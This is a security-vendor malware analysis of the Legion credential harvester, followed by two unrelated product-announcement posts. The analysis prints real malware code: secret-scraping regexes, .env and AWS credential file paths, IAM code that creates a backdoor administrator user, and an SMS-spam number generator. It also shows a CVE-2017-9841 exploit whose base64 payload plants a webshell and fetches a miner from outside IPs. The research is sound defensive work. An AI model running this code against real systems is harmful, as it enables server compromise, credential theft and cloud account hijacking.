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April 13, 2023

Legion: An AWS Credential Harvester and SMTP Hijacker

Cado Security Labs researchers (now part of Darktrace) encountered Legion, an emerging Python-based credential harvester and hacktool. Legion exploits various services for the purpose of email abuse.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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13
Apr 2023

Introduction

Cado Security Labs researchers (now part of Darktrace) encountered an emerging Python-based credential harvester and hacktool, named Legion, aimed at exploiting various services for the purpose of email abuse.  

The tool is sold via the Telegram messenger, and includes modules dedicated to:

  • enumerating vulnerable SMTP servers
  • conducting Remote Code Execution (RCE)
  • exploiting vulnerable versions of Apache
  • brute-forcing cPanel and WebHost Manager (WHM) accounts
  • interacting with Shodan’s API to retrieve a target list (provided you supply an API key)  
  • additional utilities, many of which involve abusing AWS services
Legion splash screen
Figure 1: Legion splash screen

The sample encountered by researchers appears to be related to another malware called AndroxGh0st [1]. At the time of writing, it had no detections on VirusTotal [2].

Screen
Figure 2: No open-source intelligence (OSINT) detections for legion.py.

Legion.py background

The sample itself is a rather long (21,015 line) Python3 script. Initial static analysis shows that the malware includes configurations for integrating with services such as Twilio and Shodan - more on this later. Telegram support is also included, with the ability to pipe the results of each of the modules into a Telegram chat via the Telegram Bot API.

  cfg['SETTINGS'] = {} 
  cfg['SETTINGS']['EMAIL_RECEIVER'] = 'put your email' 
  cfg['SETTINGS']['DEFAULT_TIMEOUT'] = '20' 
  cfg['TELEGRAM'] = {} 
  cfg['TELEGRAM']['TELEGRAM_RESULTS'] = 'on' 
  cfg['TELEGRAM']['BOT_TOKEN'] = 'bot token telegram' 
  cfg['TELEGRAM']['CHAT_ID'] = 'chat id telegram' 
  cfg['SHODAN'] = {} 
  cfg['SHODAN']['APIKEY'] = 'ADD YOUR SHODAN APIKEY' 
  cfg['TWILIO'] = {} 
  cfg['TWILIO']['TWILIOAPI'] = 'ADD YOUR TWILIO APIKEY' 
  cfg['TWILIO']['TWILIOTOKEN'] = 'ADD YOUR TWILIO AUTHTOKEN' 
  cfg['TWILIO']['TWILIOFROM'] = 'ADD YOUR FROM NUMBER' 
  cfg['SCRAPESTACK'] = {} 
  cfg['SCRAPESTACK']['SCRAPESTACK_KEY'] = 'scrapestack_key' 
  cfg['AWS'] = {} 
  cfg['AWS']['EMAIL'] = 'put your email AWS test' 

Legion.py - default configuration parameters

As mentioned above, the malware itself appears to be distributed via a public Telegram group. The sample also included references to a Telegram user with the handle “myl3gion”. At the time of writing, researchers accessed the Telegram group to determine whether additional information about the campaign could be discovered.  

Rather amusingly, one of the only recent messages was from the group owner warning members that the user myl3gion was in fact a scammer. There is no additional context to this claim, but it appears that the sample encountered was “illegitimately” circulated by this user.

Scam warning
Figure 3: Scam warning from Telegram group administrator

At the time of writing, the group had 1,090 members and the earliest messages were from February 2021.  

Researchers also encountered a YouTube channel named “Forza Tools”, which included a series of tutorial videos for using Legion. The fact that the developer behind the tool has made the effort of creating these videos, suggests that the tool is widely distributed and is likely paid malware.  

Forza tools youtube channel
Figure 4: Forza Tools YouTube Channel

Functionality

It’s clear from a cursory glance at the code, and from the YouTube tutorials described above, that the Legion credential harvester is primarily concerned with the exploitation of web servers running Content Management Systems (CMS), PHP, or PHP-based frameworks, such as Laravel.  

From these targeted servers, the tool uses a number of RegEx patterns to extract credentials for various web services. These include credentials for email providers, cloud service providers (i.e. AWS), server management systems, databases and payment systems - such as Stripe and PayPal. Typically, this type of tool would be used to hijack said services and use the infrastructure for mass spamming or opportunistic phishing campaigns.  

Additionally, the malware also includes code to implant webshells, brute-force CPanel or AWS accounts and send SMS messages to a list of dynamically-generated US mobile numbers.

Credential harvesting

Legion contains a number of methods for retrieving credentials from misconfigured web servers. Depending on the web server software, scripting language or framework the server is running, the malware will attempt to request resources known to contain secrets, parse them and save the secrets into results files sorted on a per-service basis.  

One such resource is the .env environment variables file, which often contains application-specific secrets for Laravel and other PHP-based web applications. The malware maintains a list of likely paths to this file, as well as similar files and directories for other web technologies. Examples of these can be seen in the table below.

Apache

/_profiler/phpinfo

/tool/view/phpinfo.view.php

/debug/default/view.html

/frontend/web/debug/default/view

/.aws/credentials

/config/aws.yml

/symfony/public/_profiler/phpinfo  

Laravel

/conf/.env

/wp-content/.env

/library/.env

/vendor/.env

/api/.env

/laravel/.env

/sites/all/libraries/mailchimp/.env

Generic debug paths

/debug/default/view?panel=config

/tool/view/phpinfo.view.php

/debug/default/view.html

/frontend/web/debug/default/view

/web/debug/default/view

/sapi/debug/default/view

/wp-config.php-backup

# grab password 
if 'DB_USERNAME=' in text: 
        method = './env' 
        db_user = re.findall("\nDB_USERNAME=(.*?)\n", text)[0] 
        db_pass = re.findall("\nDB_PASSWORD=(.*?)\n", text)[0] 
elif '<td>DB_USERNAME</td>' in text: 
        method = 'debug' 
        db_user = re.findall('<td>DB_USERNAME<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] 
        db_pass = re.findall('<td>DB_PASSWORD<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] 

Example of RegEx parsing code to retrieve database credentials from requested resources

if '<td>#TWILIO_SID</td>' in text: 
                  acc_sid = re.findall('<td>#TWILIO_SID<\\/td>\\s+<td><pre.*>(.*?)<\\/span>', text)[0] 
                  auhtoken = re.findall('<td>#TWILIO_AUTH<\\/td>\\s+<td><pre.*>(.*?)<\\/span>', text)[0] 
                  build = cleanit(url + '|' + acc_sid + '|' + auhtoken) 
                  remover = str(build).replace('\r', '') 
                  print(f"{yl}☆ [{gr}{ntime()}{red}] {fc}╾┄╼ {gr}TWILIO {fc}[{yl}{acc_sid}{res}:{fc}{acc_key}{fc}]") 
                  save = open(o_twilio, 'a') 
                  save.write(remover+'\n') 
                  save.close() 

Example of RegEx parsing code to retrieve Twilio secrets from requested resources

A full list of the services the malware attempts to extract credentials for can be seen in the table below.

Services targeted

  • Twilio
  • Nexmo
  • Stripe/Paypal (payment API function)
  • AWS console credentials
  • AWS SNS, S3 and SES specific credentials
  • Mailgun
  • Plivo
  • Clicksend
  • Mandrill
  • Mailjet
  • MessageBird
  • Vonage
  • Nexmo
  • Exotel
  • Onesignal
  • Clickatel
  • Tokbox
  • SMTP credentials
  • Database Administration and CMS credentials (CPanel, WHM, PHPmyadmin)

AWS features

As discussed in the previous section, Legion will attempt to retrieve credentials from insecure or misconfigured web servers. Of particular interest to those in cloud security is the malware’s ability to retrieve AWS credentials.  

Not only does the malware claim to harvest these from target sites, but it also includes a function dedicated to brute-forcing AWS credentials - named aws_generator().

def aws_generator(self, length, region): 
    chars = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9","/","/"] 
    chars = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"] 
    def aws_id(): 
        output = "AKIA" 
        for i in range(16): 
            output += random.choice(chars[0:38]).upper() 
        return output 
    def aws_key(): 
        output = "" 
        for i in range(40): 
            if i == 0 or i == 39: 
                randUpper = random.choice(chars[0:38]).upper() 
                output += random.choice([randUpper, random.choice(chars[0:38])]) 
            else: 
                randUpper = random.choice(chars[0:38]).upper() 
                output += random.choice([randUpper, random.choice(chars)]) 
        return output 
    self.show_info_message(message="Generating Total %s Of AWS Key, Please Wait....." % length) 

Example of AWS credential generation code

This is consistent with external analysis of AndroxGh0st [1], which similarly concludes that it seems statistically unlikely this functionality would result in usable credentials. Similar code for brute-forcing SendGrid (an email marketing company) credentials is also included.

Regardless of how credentials are obtained, the malware attempts to add an IAM user with the hardcoded username of ses_legion. Interestingly, in this sample of Legion the malware also tags the created user with the key “Owner” and a hardcoded value of “ms.boharas”.

def create_new_user(iam_client, user_name='ses_legion'): 
        user = None 
        try: 
                user = iam_client.create_user( 
                        UserName=user_name, 
                        Tags=[{'Key': 'Owner', 'Value': 'ms.boharas'}] 
                    ) 
        except ClientError as e: 
                if e.response['Error']['Code'] == 'EntityAlreadyExists': 
                        result_str = get_random_string() 
                        user_name = 'ses_{}'.format(result_str) 
                        user = iam_client.create_user(UserName=user_name, 
                        Tags=[{'Key': 'Owner', 'Value': 'ms.boharas'}] 
                    ) 
        return user_name, user 

IAM user creation and tagging code

An IAM group named SESAdminGroup is then created and the newly created user is added. From there, Legion attempts to create a policy based on the Administrator Access [3] Amazon managed policy. This managed policy allows full access and can delegate permissions to all services and resources within AWS. This includes the management console, providing access has been activated for the user.

def creat_new_group(iam_client, group_name='SESAdminGroup'): 
        try: 
                res = iam_client.create_group(GroupName=group_name) 
        except ClientError as e: 
                if e.response['Error']['Code'] == 'EntityAlreadyExists': 
                        result_str = get_random_string() 
                        group_name = "SESAdminGroup{}".format(result_str) 
                        res = iam_client.create_group(GroupName=group_name) 
        return res['Group']['GroupName']
def creat_new_policy(iam_client, policy_name='AdministratorAccess'): policy_json = {"Version": "2012-10-17","Statement": [{"Effect": "Allow", "Action": "*","Resource": "*"}]} try: res = iam_client.create_policy( PolicyName=policy_name, PolicyDocument=json.dumps(policy_json) ) except ClientError as e: if e.response['Error']['Code'] == 'EntityAlreadyExists': result_str = get_random_string() policy_name = "AdministratorAccess{}".format(result_str) res = iam_client.create_policy(PolicyName=policy_name, PolicyDocument=json.dumps(policy_json) ) return res['Policy']['Arn'] 

IAM group and policy creation code

Consistent with the assumption that Legion is primarily concerned with cracking email services, the malware attempts to use the newly created AWS IAM user to query Amazon Simple Email Service (SES) quota limits and even send a test email.

def check(countsd, key, secret, region): 
        try: 
                out = '' 
                client = boto3.client('ses', aws_access_key_id=key, aws_secret_access_key=secret, region_name=region) 
                try: 
                        response = client.get_send_quota() 
                        frommail = client.list_identities()['Identities'] 
                        if frommail: 
                                SUBJECT = "AWS Checker By @mylegion (Only Private Tools)" 
                                BODY_TEXT = "Region: {region}\r\nLimit: {limit}|{maxsendrate}|{last24}\r\nLegion PRIV8 Tools\r\n".format(key=key, secret=secret, region=region, limit=response['Max24HourSend']) 
                                CHARSET = "UTF-8" 
                                _to = emailnow 

SMS hijacking capability

One feature of Legion not covered by previous research is the ability to deliver SMS spam messages to users of mobile networks in the US. To do this, the malware retrieves the area code for a US state of the user’s choosing from the website www.randomphonenumbers.com.  

To retrieve the area code, Legion uses Python’s BeautifulSoup HTML parsing library. A rudimentary number generator function is then used to build up a list of phone numbers to target.

def generate(self): 
    print('\n\n\t{0}╭╼[ {1}Starting Service {0}]\n\t│'.format(fg[5], fg[6])) 
    url = f'https://www.randomphonenumbers.com/US/random_{self.state}_phone_numbers'.replace(' ', '%20') 
    print('\t{0}│ [ {1}WEBSITE LOADED{0} ] {2}{3}{0}'.format(fg[5], fg[2], fg[1], url)) 
    query = requests.get(url) 
    soup = BeautifulSoup(query.text, 'html.parser') 
    list = soup.find_all('ul')[2] 
    urls = [] 
    for a in list.find_all('a', href=True): 
        url = f'https://www.randomphonenumbers.com{a["href"]}' 
        print('\t{0}│ [ {1}PARSING URLS{0}   ] {2}{3}'.format(fg[5], fg[2], fg[1], url), end='\r') 
        urls.append(url) 
        time.sleep(0.01) 
    print(' ' * 100, end='\r') 
    print('\t{0}│ [ {1}URLS PARSED{0}    ] {2}{3}\n\t│'.format(fg[5], fg[3], fg[1], len(urls)), end='\r')
def generate_number(area_code, carrier): for char in string.punctuation: carrier = carrier.replace(char, ' ') numbers = '' for number in [area_code + str(x) for x in range(0000, 9999)]: if len(number) != 10: gen = number.split(area_code)[1] number = area_code + str('0' * (10-len(area_code)-len(gen))) + gen numbers += number + '\n' with open(f'Generator/Carriers/{carrier}.txt', 'a+') as file: file.write(numbers)  

Web scraping and phone number generation code

To send the SMS messages themselves, the malware checks for saved SMTP credentials retrieved by one of the credential harvesting modules. Targeted carriers are listed below:

US Mobile Carriers

  • Alltel
  • Amp'd Mobile
  • AT&T
  • Boost Mobile
  • Cingular
  • Cricket
  • Einstein PCS
  • Sprint
  • SunCom
  • T-Mobile
  • VoiceStream
  • US Cellular
  • Verizon
  • Virgin
while not is_prompt: 
    print('\t{0}┌╼[{1}USA SMS Sender{0}]╾╼[{2}Choose Carrier to SPAM{0}]\n\t└─╼ '.format(fg[5], fg[0], fg[6]), end='') 
    try: 
        prompt = int(input('')) 
        if prompt in [int(x) for x in carriers.keys()]: 
            self.carrier = carriers[str(prompt)] 
            is_prompt = True 
        else: 
            print('\t{0}[{1}!{0}]╾╼[{2}Please enter a valid choice!{0}]'.format(fg[5], fg[0], fg[2]), end='\r') 
            time.sleep(1) 
    except ValueError: 
        print('\t{0}[{1}!{0}]╾╼[{2}Please enter a valid choice!{0}]'.format(fg[5], fg[0], fg[2]), end='\r') 
        time.sleep(1) 
print('\t{0}┌╼[{1}USA SMS Sender{0}]╾╼[{2}Please enter your message {0}| {2}160 Max Characters{0}]\n\t└─╼ '.format(fg[5], fg[0], fg[6]), end='') 
self.message = input('') 
print('\t{0}┌╼[{1}USA SMS Sender{0}]╾╼[{2}Please enter sender email{0}]\n\t└─╼ '.format(fg[5], fg[0], fg[6]), end='') 
self.sender_email = input('') 

Carrier selection code example

PHP exploitation

Not content with simply harvesting credentials for the purpose of email and SMS spamming, Legion also includes traditional hacktool functionality. One such feature is the ability to exploit well-known PHP vulnerabilities to register a webshell or remotely execute malicious code.

The malware uses several methods for this. One such method is posting a string preceded by <?php and including base64-encoded PHP code to the path "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php". This is a well-known PHP unauthenticated RCE vulnerability, tracked as CVE-2017-9841. It’s likely that Proof of Concept (PoC) code for this vulnerability was found online and integrated into the malware.

path = "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" 
url = url + path 
phpinfo = "<?php phpinfo(); ?>" 
try: 
    requester_1 = requests.post(url, data=phpinfo, timeout=15, verify=False) 
    if "phpinfo()" in requester_1.text: 
        payload_ = '<?php $root = $_SERVER["DOCUMENT_ROOT"]; $myfile = fopen($root . "/'+pathname+'", "w") or die("Unable to open file!"); $code = "PD9waHAgZWNobyAnPGNlbnRlcj48aDE+TEVHSU9OIEVYUExPSVQgVjQgKE7Eg3ZvZGFyaSBQb3dlcik8L2gxPicuJzxicj4nLidbdW5hbWVdICcucGhwX3VuYW1lKCkuJyBbL3VuYW1lXSAnO2VjaG8nPGZvcm0gbWV0aG9kPSJwb3N0ImVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPic7ZWNobyc8aW5wdXQgdHlwZT0iZmlsZSJuYW1lPSJmaWxlIj48aW5wdXQgbmFtZT0iX3VwbCJ0eXBlPSJzdWJtaXQidmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7aWYoICRfUE9TVFsnX3VwbCddPT0iVXBsb2FkIil7aWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7ZWNobyc8Yj5MRUdJT04gRXhwbG9pdCBTdWNjZXNzITwvYj4nO31lbHNle2VjaG8nPGI+TEVHSU9OIEV4cGxvaXQgU3VjY2VzcyE8L2I+Jzt9fSBzeXN0ZW0oJ2N1cmwgLXMgLWsgMi41Ny4xMjIuMTEyL3JjZS9sb2FkIC1vIGFkaW5kZXgucGhwOyBjZCAvdG1wOyBjdXJsIC1PIDkxLjIxMC4xNjguODAvbWluZXIuanBnOyB0YXIgeHp2ZiBtaW5lci5qcGcgPiAvZGV2L251bGw7IHJtIC1yZiBtaW5lci5qcGc7IGNkIC54OyAuL3ggPiAvZGV2L251bGwnKTsKPz4="; fwrite($myfile, base64_decode($code)); fclose($myfile); echo("LEGION EXPLOIT V3"); ?>' 
        send_payload = requests.post(url, data=payload_, timeout=15, verify=False) 
        if "LEGION EXPLOIT V3" in send_payload.text: 
            status_exploit = "Successfully" 
        else: 
            status_exploit = "Can't exploit" 
    else: 
        status_exploit = "May not vulnerable"

Key takeaways

Legion is a general-purpose credential harvester and hacktool, designed to assist in compromising services for conducting spam operations via SMS and SMTP.  

Analysis of the Telegram groups in which this malware is advertised suggests a relatively wide distribution. Two groups monitored by Cado researchers had a combined total of 5,000 members. While not every member will have purchased a license for Legion, these numbers show that interest in such a tool is high. Related research indicates that there are a number of variants of this malware, likely with their own distribution channels.  

Throughout the analyzed code, researchers encountered several Indonesian-language comments, suggesting that the developer may either be Indonesian themselves or based in Indonesia. In a function dedicated to PHP exploitation, a link to a GitHub Gist leads to a user named Galeh Rizky. This user’s profile suggests that they are located in Indonesia, which ties in with the comments seen throughout the sample. It’s not clear whether Galeh Rizky is the developer behind Legion, or if their code just happens to be included in the sample.

Since this malware relies heavily on misconfigurations in web server technologies and frameworks such as Laravel, it’s recommended that users of these technologies review their existing security processes and ensure that secrets are appropriately stored. Ideally, if credentials are to be stored in a .env file, this should be stored outside web server directories so that it’s inaccessible from the web.  

For best practices on investigating and responding to threats in AWS cloud environments, check out our Ultimate Guide to Incident Response in AWS.

Indicators of compromise (IoCs)

Filename SHA256

legion.py fcd95a68cd8db0199e2dd7d1ecc4b7626532681b41654519463366e27f54e65a

legion.py (variant) 42109b61cfe2e1423b6f78c093c3411989838085d7e6a5f319c6e77b3cc462f3

User agents

Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36

Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36

Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36  

References

  1. https://www.fortinet.com/products/forticnapp
  2. https://www.virustotal.com/gui/file/fcd95a68cd8db0199e2dd7d1ecc4b7626532681b41654519463366e27f54e65a
  3. https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_job-functions.html
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

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October 24, 2025

Patch Smarter, Not Harder: Now Empowering Security Teams with Business-Aligned Threat Context Agents

Patch Smarter, Not Harder: Now Empowering Security Teams with Business-Aligned Threat Context Agents Default blog imageDefault blog image

Most risk management programs remain anchored in enumeration: scanning every asset, cataloging every CVE, and drowning in lists that rarely translate into action. Despite expensive scanners, annual pen tests, and countless spreadsheets, prioritization still falters at two critical points.

Context gaps at the device level: It’s hard to know which vulnerabilities actually matter to your business given existing privileges, what software it runs, and what controls already reduce risk.

Business translation: Even when the technical priority is clear, justifying effort and spend in financial terms—especially across many affected devices—can delay action. Especially if it means halting other areas of the business that directly generate revenue.

The result is familiar: alert fatigue, “too many highs,” and remediation that trails behind the threat landscape. Darktrace / Proactive Exposure Management addresses this by pairing precise, endpoint‑level context with clear, financial insight so teams can prioritize confidently and mobilize faster.

A powerful combination: No-Telemetry Endpoint Agent + Cost-Benefit Analysis

Darktrace / Proactive Exposure Management now uniquely combines technical precision with business clarity in a single workflow.  With this release, Darktrace / Proactive Exposure Management delivers a more holistic approach, uniting technical context and financial insight to drive proactive risk reduction. The result is a single solution that helps security teams stay ahead of threats while reducing noise, delays, and complexity.

  • No-Telemetry Endpoint: Collects installed software data and maps it to known CVEs—without network traffic—providing device-level vulnerability context and operational relevance.
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Introducing the No-Telemetry Endpoint Agent

Darktrace’s new endpoint agent inventories installed software on devices and maps it to known CVEs without collecting network data so you can prioritize using real device context and available security controls.

By grounding vulnerability findings in the reality of each endpoint, including its software footprint and existing controls, teams can cut through generic severity scores and focus on what matters most. The agent is ideal for remote devices, BYOD-adjacent fleets, or environments standardizing on Darktrace, and is available without additional licensing cost.

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Figure 1: Darktrace / Proactive Exposure Management user interface

Built-In Cost-Benefit Analysis for Patching

Security teams often know what needs fixing but stakeholders need to understand why now. Darktrace’s new cost-benefit calculator compares the total cost to patch against the potential cost of exploit, producing an ROI for the patch action that expresses security action in clear financial terms.

Inputs like engineer time, number of affected devices, patch difficulty, and automation availability are factored in automatically. The result is a business-aligned justification for every patching decision—helping teams secure buy-in, accelerate approvals, and move work forward with one-click ticketing, CSV export, or risk acceptance.

Darktrace / Proactive Exposure Management Cost Benefit Analysis
Figure 2: Darktrace / Proactive Exposure Management Cost Benefit Analysis

A Smarter, Faster Approach to Exposure Management

Together, the no-telemetry endpoint and Cost–Benefit Analysis advance the CTEM motion from theory to practice. You gain higher‑fidelity discovery and validation signals at the device level, paired with business‑ready justification that accelerates mobilization. The result is fewer distractions, clearer priorities, and faster measurable risk reduction. This is not from chasing every alert, but by focusing on what moves the needle now.

  • Smarter Prioritization: Device‑level context trims noise and spotlights the exposures that matter for your business.
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  • Practical Execution: Privacy‑conscious endpoint collection and ticketing/export options fit neatly into existing workflows.
  • Better Outcomes: Close the loop faster—discover, prioritize, validate, and mobilize—on the same operating surface.

Committed to innovation

These updates are part of the broader Darktrace release, which also included:

1. Major innovations in cloud security with the launch of the industry’s first fully automated cloud forensics solution, reinforcing Darktrace’s leadership in AI-native security.

2. Darktrace Network Endpoint eXtended Telemetry (NEXT) is revolutionizing NDR with the industry’s first mixed-telemetry agent using Self-Learning AI.

3. Improvements to our OT product, purpose built for industrial infrastructure, Darktrace / OT now brings dedicated OT dashboard, segmentation-aware risk modeling, and expanded visibility into edge assets and automation protocols.

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October 24, 2025

Darktrace Announces Extended Visibility Between Confirmed Assets and Leaked Credentials from the Deep and Dark Web

Darktrace Announces Extended Visibility Between Confirmed Assets and Leaked Credentials from the Deep and Dark Web Default blog imageDefault blog image

Why exposure management needs to evolve beyond scans and checklists

The modern attack surface changes faster than most security programs can keep up. New assets appear, environments change, and adversaries are increasingly aided by automation and AI. Traditional approaches like periodic scans, static inventories, or annual pen tests are no longer enough. Without a formal exposure program, many businesses are flying blind, unaware of where the next threat may emerge.

This is where Continuous Threat Exposure Management (CTEM) becomes essential. Introduced by Gartner, CTEM helps organizations continuously assess, validate, and improve their exposure to real-world threats. It reframes the problem: scope your true attack surface, prioritize based on business impact and exploitability, and validate what attackers can actually do today, not once a year.

With two powerful new capabilities, Darktrace / Attack Surface Management helps organizations evolve their CTEM programs to meet the demands of today’s threat landscape. These updates make CTEM a reality, not just a strategy.

Too much data, not enough direction

Modern Attack Surface Management tools excel at discovering assets such as cloud workloads, exposed APIs, and forgotten domains. But they often fall short when it comes to prioritization. They rely on static severity scores or generic CVSS ratings, which do not reflect real-world risk or business impact.

This leaves security teams with:

  • Alert fatigue from hundreds of “critical” findings
  • Patch paralysis due to unclear prioritization
  • Blind spots around attacker intent and external targeting

CISOs need more than visibility. They need confidence in what to fix first and context to justify those decisions to stakeholders.

Evolving Attack Surface Management

Attack Surface Management (ASM) must evolve from static lists and generic severity scores to actionable intelligence that helps teams make the right decision now.

Joining the recent addition of Exploit Prediction Assessment, which debuted in late June 2025, today we’re introducing two capabilities that push ASM into that next era:

  • Exploit Prediction Assessment: Continuously validates whether top-priority exposures are actually exploitable in your environment without waiting for patch cycles or formal pen tests.  
  • Deep & Dark Web Monitoring: Extends visibility across millions of sources in the deep and dark web to detect leaked credentials linked to your confirmed domains.
  • Confidence Score: our newly developed AI classification platform will compare newly discovered assets to assets that are known to belong to your organization. The more these newly discovered assets look similar to assets that belong to your organization, the higher the score will be.

Together, these features compress the window from discovery to decision, so your team can act with precision, not panic. The result is a single solution that helps teams stay ahead of attackers without introducing new complexities.

Exploit Prediction Assessment

Traditional penetration tests are invaluable, but they’re often a snapshot of that point-in-time, are potentially disruptive, and compliance frameworks still expect them. Not to mention, when vulnerabilities are present, teams can act immediately rather than relying solely on information from CVSS scores or waiting for patch cycles.  

Unlike full pen tests which can be obtrusive and are usually done only a couple times per year, Exploit Prediction Assessment is surgical, continuous, and focused only on top issues Instead of waiting for vendor patches or the next pen‑test window. It helps confirm whether a top‑priority exposure is actually exploitable in your environment right now.  

For more information on this visit our blog: Beyond Discovery: Adding Intelligent Vulnerability Validation to Darktrace / Attack Surface Management

Deep and Dark Web Monitoring: Extending the scope

Customers have been asking for this for years, and it is finally here. Defense against the dark web. Darktrace / Attack Surface Management’s reach now spans millions of sources across the deep and dark web including forums, marketplaces, breach repositories, paste sites, and other hard‑to‑reach communities to detect leaked credentials linked to your confirmed domains.  

Monitoring is continuous, so you’re alerted as soon as evidence of compromise appears. The surface web is only a fraction of the internet, and a sizable share of risk hides beyond it. Estimates suggest the surface web represents roughly ~10% of all online content, with the rest gated or unindexed—and the TOR-accessible dark web hosts a high proportion of illicit material (a King’s College London study found ~57% of surveyed onion sites contained illicit content), underscoring why credential leakage and brand abuse often appear in places traditional monitoring doesn’t reach. Making these spaces high‑value for early warning signals when credentials or brand assets appear. Most notably, this includes your company’s reputation, assets like servers and systems, and top executives and employees at risk.

What changes for your team

Before:

  • Hundreds of findings, unclear what to start with
  • Reactive investigations triggered by incidents

After:

  • A prioritized backlog based on confidence score or exploit prediction assessment verification
  • Proactive verification of exposure with real-world risk without manual efforts

Confidence Score: Prioritize based on the use-case you care most about

What is it?

Confidence Score is a metric that expresses similarity of newly discover assets compared to the confirmed asset inventory. Several self-learning algorithms compare features of assets to be able to calculate a score.

Why it matters

Traditional Attack Surface Management tools treat all new discovery equally, making it unclear to your team how to identify the most important newly discovered assets, potentially causing you to miss a spoofing domain or shadow IT that could impact your business.

How it helps your team

We’re dividing newly discovered assets into separate insight buckets that each cover a slightly different business case.

  • Low scoring assets: to cover phishing & spoofing domains (like domain variants) that are just being registered and don't have content yet.
  • Medium scoring assets: have more similarities to your digital estate, but have better matching to HTML, brand names, keywords. Can still be phishing but probably with content.
  • High scoring assets: These look most like the rest of your confirmed digital estate, either it's phishing that needs the highest attention, or the asset belongs to your attack surface and requires asset state confirmation to enable the platform to monitor it for risks.

Smarter Exposure Management for CTEM Programs

Recent updates to Darktrace / Attack Surface Management directly advance the core phases of Continuous Threat Exposure Management (CTEM): scope, discover, prioritize, validate, and mobilize. The new Exploit Prediction Assessment helps teams validate and prioritize vulnerabilities based on real-world exploitability, while Deep & Dark Web Monitoring extends discovery into hard-to-reach areas where stolen data and credentials often surface. Together, these capabilities reduce noise, accelerate remediation, and help organizations maintain continuous visibility over their expanding attack surface.

Building on these innovations, Darktrace / Attack Surface Management empowers security teams to focus on what truly matters. By validating exploitability, it cuts through the noise of endless vulnerability lists—helping defenders concentrate on exposures that represent genuine business risk. Continuous monitoring for leaked credentials across the deep and dark web further extends visibility beyond traditional asset discovery, closing critical blind spots where attackers often operate. Crucially, these capabilities complement, not replace, existing security controls such as annual penetration tests, providing continuous, low-friction validation between formal assessments. The result is a more adaptive, resilient security posture that keeps pace with an ever-evolving threat landscape.

If you’re building or maturing a CTEM program—and want fewer open exposures, faster remediation, and better outcomes, Darktrace / Attack Surface Management’s new Exploit Prediction Assessment and Deep & Dark Web Monitoring are ready to help.

  • Want a more in-depth look at how Exploit Prediction Assessment functions? Read more here

Committed to innovation

These updates are part of the broader Darktrace release, which also included:

1. Major innovations in cloud security with the launch of the industry’s first fully automated cloud forensics solution, reinforcing Darktrace’s leadership in AI-native security.

2. Darktrace Network Endpoint eXtended Telemetry (NEXT) is revolutionizing NDR with the industry’s first mixed-telemetry agent using Self-Learning AI.

3. Improvements to our OT product, purpose built for industrial infrastructure, Darktrace / OT now brings dedicated OT dashboard, segmentation-aware risk modeling, and expanded visibility into edge assets and automation protocols.

Join our Live Launch Event

When? 

December 9, 2025

What will be covered?

Join our live broadcast to experience how Darktrace is eliminating blind spots for detection and response across your complete enterprise with new innovations in Agentic AI across our ActiveAI Security platform. Industry leaders from IDC will join Darktrace customers to discuss challenges in cross-domain security, with a live walkthrough reshaping the future of Network Detection & Response, Endpoint Detection & Response, Email Security, and SecOps in novel threat detection and autonomous investigations.

Continue reading
About the author
Kelland Goodin
Product Marketing Specialist
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